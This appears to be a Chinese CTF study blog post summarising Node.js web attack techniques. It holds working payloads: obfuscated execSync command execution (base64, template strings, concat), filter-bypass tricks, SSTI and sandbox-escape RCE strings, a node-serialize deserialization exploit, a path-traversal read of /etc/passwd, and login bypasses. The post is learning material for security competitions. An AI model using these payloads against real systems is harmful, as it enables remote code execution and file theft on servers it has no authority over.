nodejs常见知识点总结

前言

不知道这个坑有没有挖,不过这块可以说是知识盲区了,简单安排一下nodejs这块的知识吧。

bypass

解题时遇到各种各样的过滤总是令人头疼,为了成功bypass,我们需要掌握一定的姿势。

hex

最经典的字符串与十六进制等价:

1
2
console.log("a"==="\x61");
// true

unicode

js中很常见的一种编码方式,和十六进制是类似的:

1
2
console.log("\u0061"==="a");
// true

加号拼接

ssti中常用的加号拼接放在js中也是可以实现的:

1
2
console.log("a"+"bc"==="abc");
// true

base64

很经典的思路,各路语言的绕过都必须有base64:

1
2
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
//global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")

模板字符串

和c语言中的宏定义比较类似,可以直接嵌入式表达字符串字面量:

1
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

concat连接

这个也和ssti常用的一样,用concat函数直接拼接:

1
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

JS大小写

这是个老考点了,就是利用在toUpperCase()中,字符ı会转变为I,字符ſ会变为S,而在toLowerCase()中,字符İ会转变为i,字符会转变为k

其实js中还有两个函数方法,toLocaleUpperCase()toLocaleLowerCase(),这两个函数的作用也是将字符串变为大写或小写。这两个函数与前面两个函数的区别在于,后两个函数在将字符串中所有的字母字符都将被转换为大(小)写的同时,会适应宿主环境的当前区域设置。因此如果语言规则与常规的 Unicode 大小写映射方式冲突,那么结果就会不同。

不过要利用这个漏洞,还是需要前两个函数。

命令执行

js的eval()同样也可以执行js语句。而Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令,我们构造这样如下的payload:

1
2
3
require('child_process').execSync('ls').toString()
require('child_process').spawnSync('ls',['./']).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

如果exec或者load这类关键词被过滤,我们除了用上面第二个payload以及bypass之外,还可以用以下方法绕过:

  1. fs模块
    利用fs模块同样也可以做到读取当前目录的文件名,并且可以读取文件:

    1
    2
    require('fs').readdirSync('.')
    require('fs').readFileSync('flag.txt','utf-8')
  2. 文件读取
    如果只是做一些简单的文件读取的话,利用这两个变量即可:

    1
    2
    __filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。如果在模块中,返回的值是模块文件的路径。
    __dirname 表示当前执行脚本所在的目录。

数组利用

js中对于数组的利用也是比较多的,毕竟又能报错又能绕过的东西都是我们最喜欢的。

报错利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function LoginController(req, res) {
if (req.body.username === "admin" && req.body.password.length === 16) {
try {
req.body.password = req.body.password.toUpperCase()
if (req.body.password !== '54gkj7n8uo55vbo2') {
return res.status(403).json({msg: 'invalid username or password'})
}
} catch (__) {}
req.session['unique_id'] = randString.generate(16)
res.json({msg: 'ok'})
} else {
res.status(403).json({msg: 'login failed'})
}
}

这是hgame2022第四周的一道web题,其中一个考点就是在这个登陆上。阅读代码要求我们输入密码经过大写转换后等于一串小写密码,这显然是不可能的。但是我们注意到这里的异常报错处理机制的catch部分是没有返回值的,这就会带来漏洞,和也是实战中经常会存在的问题。

官方wp给出的payload:

1
{"username":"admin","passowrd":{"length": 16}}

这里也可以利用数组来搞事情,我当时的解法:

1
{"username":"admin","passowrd":['A','A','A','A','A','A','A','A','A','A','A','A','A','A','A','A']}

绕过利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

数组绕过可以说道的点太多了,这里就简单的讲一个吧,要求输入的两个值长度不相等但是加上flag后的md5值相等。直接利用数组绕过,因为js中两个数组是不能直接用===判断相等的:

1
?a[x]=1&b[x]=2

原型链污染

挖坑,最近没空研究原型链污染这个nodejs中比较大的一块,先放两篇文章,之后再填:
基于原型链的继承
深入理解 JavaScript Prototype 污染攻击

ssti

这个之前在写ssti那块就讲过了,这里再记一下吧,本质上还是命令执行,不过不是基于eval()了:

1
{{''.constructor.constructor("return global.process.mainModule.constructor._load('child_process').execSync('ls /').toString()")()}}

CVE

接下来总结一些比较经典的关于nodejs的CVE漏洞。

nodejs反序列化漏洞(CVE-2017-5941)

前置知识:IIFE
IIFE是一个在定义时就会立即执行的js函数,一般写成如下形式:

1
2
(function(){ /* code */ }());
(function(){ /* code */ })();

参考链接:
IIFE(立即调用函数表达式

node-serialize@0.0.4中存在反序列化漏洞:

我们发现被框出的这一语句的eval参数是被括号包裹着的,如果我们构造一个形如function(){}()的函数,在反序列化时就会被当中IIEF立即调用执行。也就是不可信输入传递到unserialize()的时候执行任意代码。

创建payload时最好使用同一模块的序列化函数:

1
2
3
4
5
6
7
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("Payload: \n" + serialize.serialize(test));

//{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

为了在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),最终payload如下:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

传递给反序列化执行命令:

1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

nodejs目录穿越漏洞(CVE-2017-14849)

影响版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

漏洞产生的原因就是nodejs8.5.0对目录进行normalize操作时出现了逻辑错误,导致路径向上跳跃时在中间位置添加一些字母就可以时normalize返回对应文件。

例如,…/…/…/foo/…/…/…/…/etc/passwd可以使normalize返回/etc/passwd,但实际上正确结果应该是…/…/…/…/…/…/etc/passwd

这个漏洞主要应用在一些静态文件服务器上,比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

mongo-express rce(CVE-2019-10758)

关于沙盒逃逸这块可以讲得东西也很多,这里也没办法具体讲述,总之把payload贴在这里,然后放参考文章就完事了。

payload1:

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

payload2:

1
2
3
4
5
node main.js
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"

var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

参考文章:
cve-2019-10758 mongo-express rce 漏洞分析

Nodejs Zoombie Package RCE

hgame那题markdown的第二部分考的就是这个payload,当时都没见过nodejs然后web就差一题ak。同样也是直接放payload与参考链接,这个参考链接正是当时hgame week4 markdown online的出题人。

payload:

1
this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')

参考文章:
Nodejs Zoombie Package RCE 分析

总结

简单总结了些node.js的知识点,也算是初步入门了吧,之后面对之前摆烂没做的nodejs的题目也可以去碰下了。